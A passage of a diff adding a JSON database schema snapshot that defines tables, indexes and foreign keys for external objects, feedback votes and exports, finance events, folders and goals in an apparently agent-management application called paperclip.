+        },
+        "external_objects_company_refresh_idx": {
+          "name": "external_objects_company_refresh_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "next_refresh_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "external_objects_company_external_id_uq": {
+          "name": "external_objects_company_external_id_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "object_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "external_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "external_objects_company_identity_uq": {
+          "name": "external_objects_company_identity_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "object_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "canonical_identity_hash",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "external_objects_company_id_companies_id_fk": {
+          "name": "external_objects_company_id_companies_id_fk",
+          "tableFrom": "external_objects",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "external_objects_plugin_id_plugins_id_fk": {
+          "name": "external_objects_plugin_id_plugins_id_fk",
+          "tableFrom": "external_objects",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.feedback_exports": {
+      "name": "feedback_exports",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "feedback_vote_id": {
+          "name": "feedback_vote_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "author_user_id": {
+          "name": "author_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_type": {
+          "name": "target_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_id": {
+          "name": "target_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "vote": {
+          "name": "vote",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'local_only'"
+        },
+        "destination": {
+          "name": "destination",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "export_id": {
+          "name": "export_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "consent_version": {
+          "name": "consent_version",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "schema_version": {
+          "name": "schema_version",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'paperclip-feedback-envelope-v2'"
+        },
+        "bundle_version": {
+          "name": "bundle_version",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'paperclip-feedback-bundle-v2'"
+        },
+        "payload_version": {
+          "name": "payload_version",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'paperclip-feedback-v1'"
+        },
+        "payload_digest": {
+          "name": "payload_digest",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "payload_snapshot": {
+          "name": "payload_snapshot",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "target_summary": {
+          "name": "target_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "redaction_summary": {
+          "name": "redaction_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "attempt_count": {
+          "name": "attempt_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "last_attempted_at": {
+          "name": "last_attempted_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "exported_at": {
+          "name": "exported_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "failure_reason": {
+          "name": "failure_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "feedback_exports_feedback_vote_idx": {
+          "name": "feedback_exports_feedback_vote_idx",
+          "columns": [
+            {
+              "expression": "feedback_vote_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "feedback_exports_company_created_idx": {
+          "name": "feedback_exports_company_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "feedback_exports_company_status_idx": {
+          "name": "feedback_exports_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "feedback_exports_company_issue_idx": {
+          "name": "feedback_exports_company_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "feedback_exports_company_project_idx": {
+          "name": "feedback_exports_company_project_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "feedback_exports_company_author_idx": {
+          "name": "feedback_exports_company_author_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "author_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "feedback_exports_company_id_companies_id_fk": {
+          "name": "feedback_exports_company_id_companies_id_fk",
+          "tableFrom": "feedback_exports",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "feedback_exports_feedback_vote_id_feedback_votes_id_fk": {
+          "name": "feedback_exports_feedback_vote_id_feedback_votes_id_fk",
+          "tableFrom": "feedback_exports",
+          "tableTo": "feedback_votes",
+          "columnsFrom": [
+            "feedback_vote_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "feedback_exports_issue_id_issues_id_fk": {
+          "name": "feedback_exports_issue_id_issues_id_fk",
+          "tableFrom": "feedback_exports",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "feedback_exports_project_id_projects_id_fk": {
+          "name": "feedback_exports_project_id_projects_id_fk",
+          "tableFrom": "feedback_exports",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.feedback_votes": {
+      "name": "feedback_votes",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_type": {
+          "name": "target_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_id": {
+          "name": "target_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "author_user_id": {
+          "name": "author_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "vote": {
+          "name": "vote",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "reason": {
+          "name": "reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "shared_with_labs": {
+          "name": "shared_with_labs",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "shared_at": {
+          "name": "shared_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "consent_version": {
+          "name": "consent_version",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "redaction_summary": {
+          "name": "redaction_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "feedback_votes_company_issue_idx": {
+          "name": "feedback_votes_company_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "feedback_votes_issue_target_idx": {
+          "name": "feedback_votes_issue_target_idx",
+          "columns": [
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "feedback_votes_author_idx": {
+          "name": "feedback_votes_author_idx",
+          "columns": [
+            {
+              "expression": "author_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "feedback_votes_company_target_author_idx": {
+          "name": "feedback_votes_company_target_author_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "author_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "feedback_votes_company_id_companies_id_fk": {
+          "name": "feedback_votes_company_id_companies_id_fk",
+          "tableFrom": "feedback_votes",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "feedback_votes_issue_id_issues_id_fk": {
+          "name": "feedback_votes_issue_id_issues_id_fk",
+          "tableFrom": "feedback_votes",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.finance_events": {
+      "name": "finance_events",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "goal_id": {
+          "name": "goal_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "heartbeat_run_id": {
+          "name": "heartbeat_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "cost_event_id": {
+          "name": "cost_event_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "billing_code": {
+          "name": "billing_code",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "event_kind": {
+          "name": "event_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "direction": {
+          "name": "direction",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'debit'"
+        },
+        "biller": {
+          "name": "biller",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_adapter_type": {
+          "name": "execution_adapter_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "pricing_tier": {
+          "name": "pricing_tier",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "region": {
+          "name": "region",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "model": {
+          "name": "model",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "quantity": {
+          "name": "quantity",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "unit": {
+          "name": "unit",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "amount_cents": {
+          "name": "amount_cents",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "currency": {
+          "name": "currency",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'USD'"
+        },
+        "estimated": {
+          "name": "estimated",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "external_invoice_id": {
+          "name": "external_invoice_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata_json": {
+          "name": "metadata_json",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "occurred_at": {
+          "name": "occurred_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "finance_events_company_occurred_idx": {
+          "name": "finance_events_company_occurred_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "occurred_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "finance_events_company_biller_occurred_idx": {
+          "name": "finance_events_company_biller_occurred_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "biller",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "occurred_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "finance_events_company_kind_occurred_idx": {
+          "name": "finance_events_company_kind_occurred_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "event_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "occurred_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "finance_events_company_direction_occurred_idx": {
+          "name": "finance_events_company_direction_occurred_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "direction",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "occurred_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "finance_events_company_heartbeat_run_idx": {
+          "name": "finance_events_company_heartbeat_run_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "heartbeat_run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "finance_events_company_cost_event_idx": {
+          "name": "finance_events_company_cost_event_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "cost_event_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "finance_events_company_id_companies_id_fk": {
+          "name": "finance_events_company_id_companies_id_fk",
+          "tableFrom": "finance_events",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "finance_events_agent_id_agents_id_fk": {
+          "name": "finance_events_agent_id_agents_id_fk",
+          "tableFrom": "finance_events",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "finance_events_issue_id_issues_id_fk": {
+          "name": "finance_events_issue_id_issues_id_fk",
+          "tableFrom": "finance_events",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "finance_events_project_id_projects_id_fk": {
+          "name": "finance_events_project_id_projects_id_fk",
+          "tableFrom": "finance_events",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "finance_events_goal_id_goals_id_fk": {
+          "name": "finance_events_goal_id_goals_id_fk",
+          "tableFrom": "finance_events",
+          "tableTo": "goals",
+          "columnsFrom": [
+            "goal_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "finance_events_heartbeat_run_id_heartbeat_runs_id_fk": {
+          "name": "finance_events_heartbeat_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "finance_events",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "heartbeat_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "finance_events_cost_event_id_cost_events_id_fk": {
+          "name": "finance_events_cost_event_id_cost_events_id_fk",
+          "tableFrom": "finance_events",
+          "tableTo": "cost_events",
+          "columnsFrom": [
+            "cost_event_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.folders": {
+      "name": "folders",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "kind": {
+          "name": "kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "parent_id": {
+          "name": "parent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "slug": {
+          "name": "slug",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "system_key": {
+          "name": "system_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "color": {
+          "name": "color",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "position": {
+          "name": "position",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "folders_company_kind_position_idx": {
+          "name": "folders_company_kind_position_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "position",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "folders_company_kind_root_slug_uq": {
+          "name": "folders_company_kind_root_slug_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "slug",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"folders\".\"parent_id\" is null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "folders_company_kind_parent_slug_uq": {
+          "name": "folders_company_kind_parent_slug_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "parent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "slug",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"folders\".\"parent_id\" is not null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "folders_company_kind_system_key_uq": {
+          "name": "folders_company_kind_system_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "system_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"folders\".\"system_key\" is not null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "folders_company_kind_parent_position_idx": {
+          "name": "folders_company_kind_parent_position_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "parent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "position",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "folders_company_id_companies_id_fk": {
+          "name": "folders_company_id_companies_id_fk",
+          "tableFrom": "folders",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "folders_parent_id_folders_id_fk": {
+          "name": "folders_parent_id_folders_id_fk",
+          "tableFrom": "folders",
+          "tableTo": "folders",
+          "columnsFrom": [
+            "parent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "restrict",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.goals": {
+      "name": "goals",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "level": {
+          "name": "level",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'task'"
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'planned'"
+        },
+        "parent_id": {
+          "name": "parent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "owner_agent_id": {
+          "name": "owner_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "goals_company_idx": {
+          "name": "goals_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
